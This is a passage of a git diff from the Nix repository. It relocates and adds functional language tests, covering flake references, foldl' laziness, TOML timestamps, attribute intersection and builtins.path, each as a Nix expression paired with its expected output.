b/tests/functional/lang/eval-okay-flake-ref-to-string.exp new file mode 100644 index 000000000..110f8442d --- /dev/null +++ b/tests/functional/lang/eval-okay-flake-ref-to-string.exp @@ -0,0 +1 @@ +"github:NixOS/nixpkgs/23.05?dir=lib" diff --git a/tests/functional/lang/eval-okay-flake-ref-to-string.nix b/tests/functional/lang/eval-okay-flake-ref-to-string.nix new file mode 100644 index 000000000..dbb4e5b2a --- /dev/null +++ b/tests/functional/lang/eval-okay-flake-ref-to-string.nix @@ -0,0 +1,7 @@ +builtins.flakeRefToString { + type = "github"; + owner = "NixOS"; + repo = "nixpkgs"; + ref = "23.05"; + dir = "lib"; +} diff --git a/tests/lang/eval-okay-flatten.exp b/tests/functional/lang/eval-okay-flatten.exp similarity index 100% rename from tests/lang/eval-okay-flatten.exp rename to tests/functional/lang/eval-okay-flatten.exp diff --git a/tests/lang/eval-okay-flatten.nix b/tests/functional/lang/eval-okay-flatten.nix similarity index 100% rename from tests/lang/eval-okay-flatten.nix rename to tests/functional/lang/eval-okay-flatten.nix diff --git a/tests/lang/eval-okay-float.exp b/tests/functional/lang/eval-okay-float.exp similarity index 100% rename from tests/lang/eval-okay-float.exp rename to tests/functional/lang/eval-okay-float.exp diff --git a/tests/lang/eval-okay-float.nix b/tests/functional/lang/eval-okay-float.nix similarity index 100% rename from tests/lang/eval-okay-float.nix rename to tests/functional/lang/eval-okay-float.nix diff --git a/tests/lang/eval-okay-floor-ceil.exp b/tests/functional/lang/eval-okay-floor-ceil.exp similarity index 100% rename from tests/lang/eval-okay-floor-ceil.exp rename to tests/functional/lang/eval-okay-floor-ceil.exp diff --git a/tests/lang/eval-okay-floor-ceil.nix b/tests/functional/lang/eval-okay-floor-ceil.nix similarity index 100% rename from tests/lang/eval-okay-floor-ceil.nix rename to tests/functional/lang/eval-okay-floor-ceil.nix diff --git a/tests/functional/lang/eval-okay-foldlStrict-lazy-elements.exp b/tests/functional/lang/eval-okay-foldlStrict-lazy-elements.exp new file mode 100644 index 000000000..d81cc0710 --- /dev/null +++ b/tests/functional/lang/eval-okay-foldlStrict-lazy-elements.exp @@ -0,0 +1 @@ +42 diff --git a/tests/functional/lang/eval-okay-foldlStrict-lazy-elements.nix b/tests/functional/lang/eval-okay-foldlStrict-lazy-elements.nix new file mode 100644 index 000000000..c666e07f3 --- /dev/null +++ b/tests/functional/lang/eval-okay-foldlStrict-lazy-elements.nix @@ -0,0 +1,9 @@ +# Tests that the rhs argument of op is not forced unconditionally +let + lst = builtins.foldl' + (acc: x: acc ++ [ x ]) + [ ] + [ 42 (throw "this shouldn't be evaluated") ]; +in + +builtins.head lst diff --git a/tests/functional/lang/eval-okay-foldlStrict-lazy-initial-accumulator.exp b/tests/functional/lang/eval-okay-foldlStrict-lazy-initial-accumulator.exp new file mode 100644 index 000000000..d81cc0710 --- /dev/null +++ b/tests/functional/lang/eval-okay-foldlStrict-lazy-initial-accumulator.exp @@ -0,0 +1 @@ +42 diff --git a/tests/functional/lang/eval-okay-foldlStrict-lazy-initial-accumulator.nix b/tests/functional/lang/eval-okay-foldlStrict-lazy-initial-accumulator.nix new file mode 100644 index 000000000..abcd5366a --- /dev/null +++ b/tests/functional/lang/eval-okay-foldlStrict-lazy-initial-accumulator.nix @@ -0,0 +1,6 @@ +# Checks that the nul value for the accumulator is not forced unconditionally. +# Some languages provide a foldl' that is strict in this argument, but Nix does not. +builtins.foldl' + (_: x: x) + (throw "This is never forced") + [ "but the results of applying op are" 42 ] diff --git a/tests/lang/eval-okay-foldlStrict.exp b/tests/functional/lang/eval-okay-foldlStrict.exp similarity index 100% rename from tests/lang/eval-okay-foldlStrict.exp rename to tests/functional/lang/eval-okay-foldlStrict.exp diff --git a/tests/lang/eval-okay-foldlStrict.nix b/tests/functional/lang/eval-okay-foldlStrict.nix similarity index 100% rename from tests/lang/eval-okay-foldlStrict.nix rename to tests/functional/lang/eval-okay-foldlStrict.nix diff --git a/tests/functional/lang/eval-okay-fromTOML-timestamps.exp b/tests/functional/lang/eval-okay-fromTOML-timestamps.exp new file mode 100644 index 000000000..08b3c69a6 --- /dev/null +++ b/tests/functional/lang/eval-okay-fromTOML-timestamps.exp @@ -0,0 +1 @@ +{ "1234" = "value"; "127.0.0.1" = "value"; a = { b = { c = { }; }; }; arr1 = [ 1 2 3 ]; arr2 = [ "red" "yellow" "green" ]; arr3 = [ [ 1 2 ] [ 3 4 5 ] ]; arr4 = [ "all" "strings" "are the same" "type" ]; arr5 = [ [ 1 2 ] [ "a" "b" "c" ] ]; arr7 = [ 1 2 3 ]; arr8 = [ 1 2 ]; bare-key = "value"; bare_key = "value"; bin1 = 214; bool1 = true; bool2 = false; "character encoding" = "value"; d = { e = { f = { }; }; }; dog = { "tater.man" = { type = { name = "pug"; }; }; }; flt1 = 1; flt2 = 3.1415; flt3 = -0.01; flt4 = 5e+22; flt5 = 1e+06; flt6 = -0.02; flt7 = 6.626e-34; flt8 = 9.22462e+06; fruit = [ { name = "apple"; physical = { color = "red"; shape = "round"; }; variety = [ { name = "red delicious"; } { name = "granny smith"; } ]; } { name = "banana"; variety = [ { name = "plantain"; } ]; } ]; g = { h = { i = { }; }; }; hex1 = 3735928559; hex2 = 3735928559; hex3 = 3735928559; int1 = 99; int2 = 42; int3 = 0; int4 = -17; int5 = 1000; int6 = 5349221; int7 = 12345; j = { "ʞ" = { l = { }; }; }; key = "value"; key2 = "value"; ld1 = { _type = "timestamp"; value = "1979-05-27"; }; ldt1 = { _type = "timestamp"; value = "1979-05-27T07:32:00"; }; ldt2 = { _type = "timestamp"; value = "1979-05-27T00:32:00.999999"; }; lt1 = { _type = "timestamp"; value = "07:32:00"; }; lt2 = { _type = "timestamp"; value = "00:32:00.999999"; }; name = "Orange"; oct1 = 342391; oct2 = 493; odt1 = { _type = "timestamp"; value = "1979-05-27T07:32:00Z"; }; odt2 = { _type = "timestamp"; value = "1979-05-27T00:32:00-07:00"; }; odt3 = { _type = "timestamp"; value = "1979-05-27T00:32:00.999999-07:00"; }; odt4 = { _type = "timestamp"; value = "1979-05-27T07:32:00Z"; }; physical = { color = "orange"; shape = "round"; }; products = [ { name = "Hammer"; sku = 738594937; } { } { color = "gray"; name = "Nail"; sku = 284758393; } ]; "quoted \"value\"" = "value"; site = { "google.com" = true; }; str = "I'm a string. \"You can quote me\". Name\tJosé\nLocation\tSF."; table-1 = { key1 = "some string"; key2 = 123; }; table-2 = { key1 = "another string"; key2 = 456; }; x = { y = { z = { w = { animal = { type = { name = "pug"; }; }; name = { first = "Tom"; last = "Preston-Werner"; }; point = { x = 1; y = 2; }; }; }; }; }; "ʎǝʞ" = "value"; } diff --git a/tests/functional/lang/eval-okay-fromTOML-timestamps.flags b/tests/functional/lang/eval-okay-fromTOML-timestamps.flags new file mode 100644 index 000000000..9ed39dc6b --- /dev/null +++ b/tests/functional/lang/eval-okay-fromTOML-timestamps.flags @@ -0,0 +1 @@ +--extra-experimental-features parse-toml-timestamps diff --git a/tests/functional/lang/eval-okay-fromTOML-timestamps.nix b/tests/functional/lang/eval-okay-fromTOML-timestamps.nix new file mode 100644 index 000000000..74cff9470 --- /dev/null +++ b/tests/functional/lang/eval-okay-fromTOML-timestamps.nix @@ -0,0 +1,130 @@ +builtins.fromTOML '' + key = "value" + bare_key = "value" + bare-key = "value" + 1234 = "value" + + "127.0.0.1" = "value" + "character encoding" = "value" + "ʎǝʞ" = "value" + 'key2' = "value" + 'quoted "value"' = "value" + + name = "Orange" + + physical.color = "orange" + physical.shape = "round" + site."google.com" = true + + # This is legal according to the spec, but cpptoml doesn't handle it. + #a.b.c = 1 + #a.d = 2 + + str = "I'm a string. \"You can quote me\". Name\tJos\u00E9\nLocation\tSF." + + int1 = +99 + int2 = 42 + int3 = 0 + int4 = -17 + int5 = 1_000 + int6 = 5_349_221 + int7 = 1_2_3_4_5 + + hex1 = 0xDEADBEEF + hex2 = 0xdeadbeef + hex3 = 0xdead_beef + + oct1 = 0o01234567 + oct2 = 0o755 + + bin1 = 0b11010110 + + flt1 = +1.0 + flt2 = 3.1415 + flt3 = -0.01 + flt4 = 5e+22 + flt5 = 1e6 + flt6 = -2E-2 + flt7 = 6.626e-34 + flt8 = 9_224_617.445_991_228_313 + + bool1 = true + bool2 = false + + odt1 = 1979-05-27T07:32:00Z + odt2 = 1979-05-27T00:32:00-07:00 + odt3 = 1979-05-27T00:32:00.999999-07:00 + odt4 = 1979-05-27 07:32:00Z + ldt1 = 1979-05-27T07:32:00 + ldt2 = 1979-05-27T00:32:00.999999 + ld1 = 1979-05-27 + lt1 = 07:32:00 + lt2 = 00:32:00.999999 + + arr1 = [ 1, 2, 3 ] + arr2 = [ "red", "yellow", "green" ] + arr3 = [ [ 1, 2 ], [3, 4, 5] ] + arr4 = [ "all", 'strings', """are the same""", ''''type''''] + arr5 = [ [ 1, 2 ], ["a", "b", "c"] ] + + arr7 = [ + 1, 2, 3 + ] + + arr8 = [ + 1, + 2, # this is ok + ] + + [table-1] + key1 = "some string" + key2 = 123 + + + [table-2] + key1 = "another string" + key2 = 456 + + [dog."tater.man"] + type.name = "pug" + + [a.b.c] + [ d.e.f ] + [ g . h . i ] + [ j . "ʞ" . 'l' ] + [x.y.z.w] + + name = { first = "Tom", last = "Preston-Werner" } + point = { x = 1, y = 2 } + animal = { type.name = "pug" } + + [[products]] + name = "Hammer" + sku = 738594937 + + [[products]] + + [[products]] + name = "Nail" + sku = 284758393 + color = "gray" + + [[fruit]] + name = "apple" + + [fruit.physical] + color = "red" + shape = "round" + + [[fruit.variety]] + name = "red delicious" + + [[fruit.variety]] + name = "granny smith" + + [[fruit]] + name = "banana" + + [[fruit.variety]] + name = "plantain" +'' diff --git a/tests/lang/eval-okay-fromTOML.exp b/tests/functional/lang/eval-okay-fromTOML.exp similarity index 100% rename from tests/lang/eval-okay-fromTOML.exp rename to tests/functional/lang/eval-okay-fromTOML.exp diff --git a/tests/lang/eval-okay-fromTOML.nix b/tests/functional/lang/eval-okay-fromTOML.nix similarity index 100% rename from tests/lang/eval-okay-fromTOML.nix rename to tests/functional/lang/eval-okay-fromTOML.nix diff --git a/tests/lang/eval-okay-fromjson-escapes.exp b/tests/functional/lang/eval-okay-fromjson-escapes.exp similarity index 100% rename from tests/lang/eval-okay-fromjson-escapes.exp rename to tests/functional/lang/eval-okay-fromjson-escapes.exp diff --git a/tests/lang/eval-okay-fromjson-escapes.nix b/tests/functional/lang/eval-okay-fromjson-escapes.nix similarity index 100% rename from tests/lang/eval-okay-fromjson-escapes.nix rename to tests/functional/lang/eval-okay-fromjson-escapes.nix diff --git a/tests/lang/eval-okay-fromjson.exp b/tests/functional/lang/eval-okay-fromjson.exp similarity index 100% rename from tests/lang/eval-okay-fromjson.exp rename to tests/functional/lang/eval-okay-fromjson.exp diff --git a/tests/lang/eval-okay-fromjson.nix b/tests/functional/lang/eval-okay-fromjson.nix similarity index 64% rename from tests/lang/eval-okay-fromjson.nix rename to tests/functional/lang/eval-okay-fromjson.nix index e1c0f86cc..4c526b9ae 100644 --- a/tests/lang/eval-okay-fromjson.nix +++ b/tests/functional/lang/eval-okay-fromjson.nix @@ -11,9 +11,12 @@ builtins.fromJSON "Width": 200, "Height": 250 }, + "Animated" : false, + "IDs": [116, 943, 234, 38793, true ,false,null, -100], + "Escapes": "\"\\\/\t\n\r\t", "Subtitle" : false, - "Latitude": 46.2051, - "Longitude": 6.0723 + "Latitude": 37.7668, + "Longitude": -122.3959 } } '' @@ -28,8 +31,11 @@ builtins.fromJSON Width = 200; Height = 250; }; + Animated = false; + IDs = [ 116 943 234 38793 true false null (0-100) ]; + Escapes = "\"\\\/\t\n\r\t"; # supported in JSON but not Nix: \b\f Subtitle = false; - Latitude = 46.2051; - Longitude = 6.0723; + Latitude = 37.7668; + Longitude = -122.3959; }; } diff --git a/tests/lang/eval-okay-functionargs.exp b/tests/functional/lang/eval-okay-functionargs.exp similarity index 100% rename from tests/lang/eval-okay-functionargs.exp rename to tests/functional/lang/eval-okay-functionargs.exp diff --git a/tests/lang/eval-okay-functionargs.exp.xml b/tests/functional/lang/eval-okay-functionargs.exp.xml similarity index 100% rename from tests/lang/eval-okay-functionargs.exp.xml rename to tests/functional/lang/eval-okay-functionargs.exp.xml diff --git a/tests/lang/eval-okay-functionargs.nix b/tests/functional/lang/eval-okay-functionargs.nix similarity index 100% rename from tests/lang/eval-okay-functionargs.nix rename to tests/functional/lang/eval-okay-functionargs.nix diff --git a/tests/lang/eval-okay-getattrpos-functionargs.exp b/tests/functional/lang/eval-okay-getattrpos-functionargs.exp similarity index 100% rename from tests/lang/eval-okay-getattrpos-functionargs.exp rename to tests/functional/lang/eval-okay-getattrpos-functionargs.exp diff --git a/tests/lang/eval-okay-getattrpos-functionargs.nix b/tests/functional/lang/eval-okay-getattrpos-functionargs.nix similarity index 100% rename from tests/lang/eval-okay-getattrpos-functionargs.nix rename to tests/functional/lang/eval-okay-getattrpos-functionargs.nix diff --git a/tests/lang/eval-okay-getattrpos-undefined.exp b/tests/functional/lang/eval-okay-getattrpos-undefined.exp similarity index 100% rename from tests/lang/eval-okay-getattrpos-undefined.exp rename to tests/functional/lang/eval-okay-getattrpos-undefined.exp diff --git a/tests/lang/eval-okay-getattrpos-undefined.nix b/tests/functional/lang/eval-okay-getattrpos-undefined.nix similarity index 100% rename from tests/lang/eval-okay-getattrpos-undefined.nix rename to tests/functional/lang/eval-okay-getattrpos-undefined.nix diff --git a/tests/lang/eval-okay-getattrpos.exp b/tests/functional/lang/eval-okay-getattrpos.exp similarity index 100% rename from tests/lang/eval-okay-getattrpos.exp rename to tests/functional/lang/eval-okay-getattrpos.exp diff --git a/tests/lang/eval-okay-getattrpos.nix b/tests/functional/lang/eval-okay-getattrpos.nix similarity index 100% rename from tests/lang/eval-okay-getattrpos.nix rename to tests/functional/lang/eval-okay-getattrpos.nix diff --git a/tests/lang/eval-okay-getenv.exp b/tests/functional/lang/eval-okay-getenv.exp similarity index 100% rename from tests/lang/eval-okay-getenv.exp rename to tests/functional/lang/eval-okay-getenv.exp diff --git a/tests/lang/eval-okay-getenv.nix b/tests/functional/lang/eval-okay-getenv.nix similarity index 100% rename from tests/lang/eval-okay-getenv.nix rename to tests/functional/lang/eval-okay-getenv.nix diff --git a/tests/lang/eval-okay-groupBy.exp b/tests/functional/lang/eval-okay-groupBy.exp similarity index 100% rename from tests/lang/eval-okay-groupBy.exp rename to tests/functional/lang/eval-okay-groupBy.exp diff --git a/tests/lang/eval-okay-groupBy.nix b/tests/functional/lang/eval-okay-groupBy.nix similarity index 100% rename from tests/lang/eval-okay-groupBy.nix rename to tests/functional/lang/eval-okay-groupBy.nix diff --git a/tests/lang/readDir/bar b/tests/functional/lang/eval-okay-hash.exp similarity index 100% rename from tests/lang/readDir/bar rename to tests/functional/lang/eval-okay-hash.exp diff --git a/tests/lang/eval-okay-hashfile.exp b/tests/functional/lang/eval-okay-hashfile.exp similarity index 100% rename from tests/lang/eval-okay-hashfile.exp rename to tests/functional/lang/eval-okay-hashfile.exp diff --git a/tests/lang/eval-okay-hashfile.nix b/tests/functional/lang/eval-okay-hashfile.nix similarity index 100% rename from tests/lang/eval-okay-hashfile.nix rename to tests/functional/lang/eval-okay-hashfile.nix diff --git a/tests/lang/eval-okay-hashstring.exp b/tests/functional/lang/eval-okay-hashstring.exp similarity index 100% rename from tests/lang/eval-okay-hashstring.exp rename to tests/functional/lang/eval-okay-hashstring.exp diff --git a/tests/lang/eval-okay-hashstring.nix b/tests/functional/lang/eval-okay-hashstring.nix similarity index 100% rename from tests/lang/eval-okay-hashstring.nix rename to tests/functional/lang/eval-okay-hashstring.nix diff --git a/tests/lang/eval-okay-if.exp b/tests/functional/lang/eval-okay-if.exp similarity index 100% rename from tests/lang/eval-okay-if.exp rename to tests/functional/lang/eval-okay-if.exp diff --git a/tests/lang/eval-okay-if.nix b/tests/functional/lang/eval-okay-if.nix similarity index 100% rename from tests/lang/eval-okay-if.nix rename to tests/functional/lang/eval-okay-if.nix diff --git a/tests/lang/eval-okay-import.exp b/tests/functional/lang/eval-okay-import.exp similarity index 100% rename from tests/lang/eval-okay-import.exp rename to tests/functional/lang/eval-okay-import.exp diff --git a/tests/lang/eval-okay-import.nix b/tests/functional/lang/eval-okay-import.nix similarity index 100% rename from tests/lang/eval-okay-import.nix rename to tests/functional/lang/eval-okay-import.nix diff --git a/tests/lang/eval-okay-ind-string.exp b/tests/functional/lang/eval-okay-ind-string.exp similarity index 100% rename from tests/lang/eval-okay-ind-string.exp rename to tests/functional/lang/eval-okay-ind-string.exp diff --git a/tests/lang/eval-okay-ind-string.nix b/tests/functional/lang/eval-okay-ind-string.nix similarity index 97% rename from tests/lang/eval-okay-ind-string.nix rename to tests/functional/lang/eval-okay-ind-string.nix index 1669dc064..95d59b508 100644 --- a/tests/lang/eval-okay-ind-string.nix +++ b/tests/functional/lang/eval-okay-ind-string.nix @@ -110,7 +110,7 @@ let And finally to interpret \n etc. as in a string: ''\n, ''\r, ''\t. ''; - # Regression test: antiquotation in '${x}' should work, but didn't. + # Regression test: string interpolation in '${x}' should work, but didn't. s15 = let x = "bla"; in '' foo '${x}' diff --git a/tests/functional/lang/eval-okay-inherit-attr-pos.exp b/tests/functional/lang/eval-okay-inherit-attr-pos.exp new file mode 100644 index 000000000..e87d037c6 --- /dev/null +++ b/tests/functional/lang/eval-okay-inherit-attr-pos.exp @@ -0,0 +1 @@ +[ { column = 17; file = "/pwd/lang/eval-okay-inherit-attr-pos.nix"; line = 4; } { column = 19; file = "/pwd/lang/eval-okay-inherit-attr-pos.nix"; line = 4; } { column = 21; file = "/pwd/lang/eval-okay-inherit-attr-pos.nix"; line = 5; } { column = 23; file = "/pwd/lang/eval-okay-inherit-attr-pos.nix"; line = 5; } ] diff --git a/tests/functional/lang/eval-okay-inherit-attr-pos.nix b/tests/functional/lang/eval-okay-inherit-attr-pos.nix new file mode 100644 index 000000000..017ab1d36 --- /dev/null +++ b/tests/functional/lang/eval-okay-inherit-attr-pos.nix @@ -0,0 +1,12 @@ +let + d = 0; + x = 1; + y = { inherit d x; }; + z = { inherit (y) d x; }; +in + [ + (builtins.unsafeGetAttrPos "d" y) + (builtins.unsafeGetAttrPos "x" y) + (builtins.unsafeGetAttrPos "d" z) + (builtins.unsafeGetAttrPos "x" z) + ] diff --git a/tests/functional/lang/eval-okay-inherit-from.err.exp b/tests/functional/lang/eval-okay-inherit-from.err.exp new file mode 100644 index 000000000..3227501f2 --- /dev/null +++ b/tests/functional/lang/eval-okay-inherit-from.err.exp @@ -0,0 +1 @@ +trace: used diff --git a/tests/functional/lang/eval-okay-inherit-from.exp b/tests/functional/lang/eval-okay-inherit-from.exp new file mode 100644 index 000000000..024daff6b --- /dev/null +++ b/tests/functional/lang/eval-okay-inherit-from.exp @@ -0,0 +1 @@ +[ 1 2 { __overrides = { y = { d = [ ]; }; }; c = [ ]; d = 4; x = { c = [ ]; }; y = «repeated»; } { inner = { c = 3; d = 4; }; } ] diff --git a/tests/functional/lang/eval-okay-inherit-from.nix b/tests/functional/lang/eval-okay-inherit-from.nix new file mode 100644 index 000000000..b72a1c639 --- /dev/null +++ b/tests/functional/lang/eval-okay-inherit-from.nix @@ -0,0 +1,16 @@ +let + inherit (builtins.trace "used" { a = 1; b = 2; }) a b; + x.c = 3; + y.d = 4; + + merged = { + inner = { + inherit (y) d; + }; + + inner = { + inherit (x) c; + }; + }; +in + [ a b rec { x.c = []; inherit (x) c; inherit (y) d; __overrides.y.d = []; } merged ] diff --git a/tests/functional/lang/eval-okay-intersectAttrs.exp b/tests/functional/lang/eval-okay-intersectAttrs.exp new file mode 100644 index 000000000..50445bc0e --- /dev/null +++ b/tests/functional/lang/eval-okay-intersectAttrs.exp @@ -0,0 +1 @@ +[ { } { a = 1; } { a = 1; } { a = "a"; } { m = 1; } { m = "m"; } { n = 1; } { n = "n"; } { n = 1; p = 2; } { n = "n"; p = "p"; } { n = 1; p = 2; } { n = "n"; p = "p"; } { a = "a"; b = "b"; c = "c"; d = "d"; e = "e"; f = "f"; g = "g"; h = "h"; i = "i"; j = "j"; k = "k"; l = "l"; m = "m"; n = "n"; o = "o"; p = "p"; q = "q"; r = "r"; s = "s"; t = "t"; u = "u"; v = "v"; w = "w"; x = "x"; y = "y"; z = "z"; } true ] diff --git a/tests/functional/lang/eval-okay-intersectAttrs.nix b/tests/functional/lang/eval-okay-intersectAttrs.nix new file mode 100644 index 000000000..39d49938c --- /dev/null +++ b/tests/functional/lang/eval-okay-intersectAttrs.nix @@ -0,0 +1,50 @@ +let + alphabet = + { a = "a"; + b = "b"; + c = "c"; + d = "d"; + e = "e"; + f = "f"; + g = "g"; + h = "h"; + i = "i"; + j = "j"; + k = "k"; + l = "l"; + m = "m"; + n = "n"; + o = "o"; + p = "p"; + q = "q"; + r = "r"; + s = "s"; + t = "t"; + u = "u"; + v = "v"; + w = "w"; + x = "x"; + y = "y"; + z = "z"; + }; + foo = { + inherit (alphabet) f o b a r z q u x; + aa = throw "aa"; + }; + alphabetFail = builtins.mapAttrs throw alphabet; +in +[ (builtins.intersectAttrs { a = abort "l1"; } { b = abort "r1"; }) + (builtins.intersectAttrs { a = abort "l2"; } { a = 1; }) + (builtins.intersectAttrs alphabetFail { a = 1; }) + (builtins.intersectAttrs { a = abort "laa"; } alphabet) + (builtins.intersectAttrs alphabetFail { m = 1; }) + (builtins.intersectAttrs { m = abort "lam"; } alphabet) + (builtins.intersectAttrs alphabetFail { n = 1; }) + (builtins.intersectAttrs { n = abort "lan"; } alphabet) + (builtins.intersectAttrs alphabetFail { n = 1; p = 2; }) + (builtins.intersectAttrs { n = abort "lan2"; p = abort "lap"; } alphabet) + (builtins.intersectAttrs alphabetFail { n = 1; p = 2; }) + (builtins.intersectAttrs { n = abort "lan2"; p = abort "lap"; } alphabet) + (builtins.intersectAttrs alphabetFail alphabet) + (builtins.intersectAttrs alphabet foo == builtins.intersectAttrs foo alphabet) +] diff --git a/tests/lang/eval-okay-let.exp b/tests/functional/lang/eval-okay-let.exp similarity index 100% rename from tests/lang/eval-okay-let.exp rename to tests/functional/lang/eval-okay-let.exp diff --git a/tests/lang/eval-okay-let.nix b/tests/functional/lang/eval-okay-let.nix similarity index 100% rename from tests/lang/eval-okay-let.nix rename to tests/functional/lang/eval-okay-let.nix diff --git a/tests/lang/eval-okay-list.exp b/tests/functional/lang/eval-okay-list.exp similarity index 100% rename from tests/lang/eval-okay-list.exp rename to tests/functional/lang/eval-okay-list.exp diff --git a/tests/lang/eval-okay-list.nix b/tests/functional/lang/eval-okay-list.nix similarity index 100% rename from tests/lang/eval-okay-list.nix rename to tests/functional/lang/eval-okay-list.nix diff --git a/tests/lang/eval-okay-listtoattrs.exp b/tests/functional/lang/eval-okay-listtoattrs.exp similarity index 100% rename from tests/lang/eval-okay-listtoattrs.exp rename to tests/functional/lang/eval-okay-listtoattrs.exp diff --git a/tests/lang/eval-okay-listtoattrs.nix b/tests/functional/lang/eval-okay-listtoattrs.nix similarity index 100% rename from tests/lang/eval-okay-listtoattrs.nix rename to tests/functional/lang/eval-okay-listtoattrs.nix diff --git a/tests/lang/eval-okay-logic.exp b/tests/functional/lang/eval-okay-logic.exp similarity index 100% rename from tests/lang/eval-okay-logic.exp rename to tests/functional/lang/eval-okay-logic.exp diff --git a/tests/lang/eval-okay-logic.nix b/tests/functional/lang/eval-okay-logic.nix similarity index 100% rename from tests/lang/eval-okay-logic.nix rename to tests/functional/lang/eval-okay-logic.nix diff --git a/tests/lang/eval-okay-map.exp b/tests/functional/lang/eval-okay-map.exp similarity index 100% rename from tests/lang/eval-okay-map.exp rename to tests/functional/lang/eval-okay-map.exp diff --git a/tests/lang/eval-okay-map.nix b/tests/functional/lang/eval-okay-map.nix similarity index 100% rename from tests/lang/eval-okay-map.nix rename to tests/functional/lang/eval-okay-map.nix diff --git a/tests/lang/eval-okay-mapattrs.exp b/tests/functional/lang/eval-okay-mapattrs.exp similarity index 100% rename from tests/lang/eval-okay-mapattrs.exp rename to tests/functional/lang/eval-okay-mapattrs.exp diff --git a/tests/lang/eval-okay-mapattrs.nix b/tests/functional/lang/eval-okay-mapattrs.nix similarity index 100% rename from tests/lang/eval-okay-mapattrs.nix rename to tests/functional/lang/eval-okay-mapattrs.nix diff --git a/tests/functional/lang/eval-okay-merge-dynamic-attrs.exp b/tests/functional/lang/eval-okay-merge-dynamic-attrs.exp new file mode 100644 index 000000000..157d677ce --- /dev/null +++ b/tests/functional/lang/eval-okay-merge-dynamic-attrs.exp @@ -0,0 +1 @@ +{ set1 = { a = 1; b = 2; }; set2 = { a = 1; b = 2; }; set3 = { a = 1; b = 2; }; set4 = { a = 1; b = 2; }; } diff --git a/tests/functional/lang/eval-okay-merge-dynamic-attrs.nix b/tests/functional/lang/eval-okay-merge-dynamic-attrs.nix new file mode 100644 index 000000000..f459a554f --- /dev/null +++ b/tests/functional/lang/eval-okay-merge-dynamic-attrs.nix @@ -0,0 +1,13 @@ +{ + set1 = { a = 1; }; + set1 = { "${"b" + ""}" = 2; }; + + set2 = { "${"b" + ""}" = 2; }; + set2 = { a = 1; }; + + set3.a = 1; + set3."${"b" + ""}" = 2; + + set4."${"b" + ""}" = 2; + set4.a = 1; +} diff --git a/tests/lang/eval-okay-nested-with.exp b/tests/functional/lang/eval-okay-nested-with.exp similarity index 100% rename from tests/lang/eval-okay-nested-with.exp rename to tests/functional/lang/eval-okay-nested-with.exp diff --git a/tests/lang/eval-okay-nested-with.nix b/tests/functional/lang/eval-okay-nested-with.nix similarity index 100% rename from tests/lang/eval-okay-nested-with.nix rename to tests/functional/lang/eval-okay-nested-with.nix diff --git a/tests/lang/eval-okay-new-let.exp b/tests/functional/lang/eval-okay-new-let.exp similarity index 100% rename from tests/lang/eval-okay-new-let.exp rename to tests/functional/lang/eval-okay-new-let.exp diff --git a/tests/lang/eval-okay-new-let.nix b/tests/functional/lang/eval-okay-new-let.nix similarity index 100% rename from tests/lang/eval-okay-new-let.nix rename to tests/functional/lang/eval-okay-new-let.nix diff --git a/tests/lang/eval-okay-null-dynamic-attrs.exp b/tests/functional/lang/eval-okay-null-dynamic-attrs.exp similarity index 100% rename from tests/lang/eval-okay-null-dynamic-attrs.exp rename to tests/functional/lang/eval-okay-null-dynamic-attrs.exp diff --git a/tests/lang/eval-okay-null-dynamic-attrs.nix b/tests/functional/lang/eval-okay-null-dynamic-attrs.nix similarity index 100% rename from tests/lang/eval-okay-null-dynamic-attrs.nix rename to tests/functional/lang/eval-okay-null-dynamic-attrs.nix diff --git a/tests/lang/eval-okay-overrides.exp b/tests/functional/lang/eval-okay-overrides.exp similarity index 100% rename from tests/lang/eval-okay-overrides.exp rename to tests/functional/lang/eval-okay-overrides.exp diff --git a/tests/lang/eval-okay-overrides.nix b/tests/functional/lang/eval-okay-overrides.nix similarity index 66% rename from tests/lang/eval-okay-overrides.nix rename to tests/functional/lang/eval-okay-overrides.nix index 358742b36..719bdc9c0 100644 --- a/tests/lang/eval-okay-overrides.nix +++ b/tests/functional/lang/eval-okay-overrides.nix @@ -1,6 +1,6 @@ let - overrides = { a = 2; }; + overrides = { a = 2; b = 3; }; in (rec { __overrides = overrides; diff --git a/tests/functional/lang/eval-okay-parse-flake-ref.exp b/tests/functional/lang/eval-okay-parse-flake-ref.exp new file mode 100644 index 000000000..fc17ba085 --- /dev/null +++ b/tests/functional/lang/eval-okay-parse-flake-ref.exp @@ -0,0 +1 @@ +{ dir = "lib"; owner = "NixOS"; ref = "23.05"; repo = "nixpkgs"; type = "github"; } diff --git a/tests/functional/lang/eval-okay-parse-flake-ref.nix b/tests/functional/lang/eval-okay-parse-flake-ref.nix new file mode 100644 index 000000000..db4ed2742 --- /dev/null +++ b/tests/functional/lang/eval-okay-parse-flake-ref.nix @@ -0,0 +1 @@ + builtins.parseFlakeRef "github:NixOS/nixpkgs/23.05?dir=lib" diff --git a/tests/lang/eval-okay-partition.exp b/tests/functional/lang/eval-okay-partition.exp similarity index 100% rename from tests/lang/eval-okay-partition.exp rename to tests/functional/lang/eval-okay-partition.exp diff --git a/tests/lang/eval-okay-partition.nix b/tests/functional/lang/eval-okay-partition.nix similarity index 100% rename from tests/lang/eval-okay-partition.nix rename to tests/functional/lang/eval-okay-partition.nix diff --git a/tests/lang/eval-okay-path-antiquotation.exp b/tests/functional/lang/eval-okay-path-string-interpolation.exp similarity index 100% rename from tests/lang/eval-okay-path-antiquotation.exp rename to tests/functional/lang/eval-okay-path-string-interpolation.exp diff --git a/tests/lang/eval-okay-path-antiquotation.nix b/tests/functional/lang/eval-okay-path-string-interpolation.nix similarity index 100% rename from tests/lang/eval-okay-path-antiquotation.nix rename to tests/functional/lang/eval-okay-path-string-interpolation.nix diff --git a/tests/functional/lang/eval-okay-path.exp b/tests/functional/lang/eval-okay-path.exp new file mode 100644 index 000000000..635e2243a --- /dev/null +++ b/tests/functional/lang/eval-okay-path.exp @@ -0,0 +1 @@ +[ "/nix/store/ya937r4ydw0l6kayq8jkyqaips9c75jm-output" "/nix/store/m7y372g6jb0g4hh1dzmj847rd356fhnz-output" ] diff --git a/tests/functional/lang/eval-okay-path.nix b/tests/functional/lang/eval-okay-path.nix new file mode 100644 index 000000000..599b33541 --- /dev/null +++ b/tests/functional/lang/eval-okay-path.nix @@ -0,0 +1,15 @@ +[ + (builtins.path + { path = ./.; + filter = path: _: baseNameOf path == "data"; + recursive = true; + sha256 = "1yhm3gwvg5a41yylymgblsclk95fs6jy72w0wv925mmidlhcq4sw"; + name = "output"; + }) + (builtins.path + { path = ./data; + recursive = false; + sha256 = "0k4lwj58f2w5yh92ilrwy9917pycipbrdrr13vbb3yd02j09vfxm"; + name = "output"; + }) +] diff --git 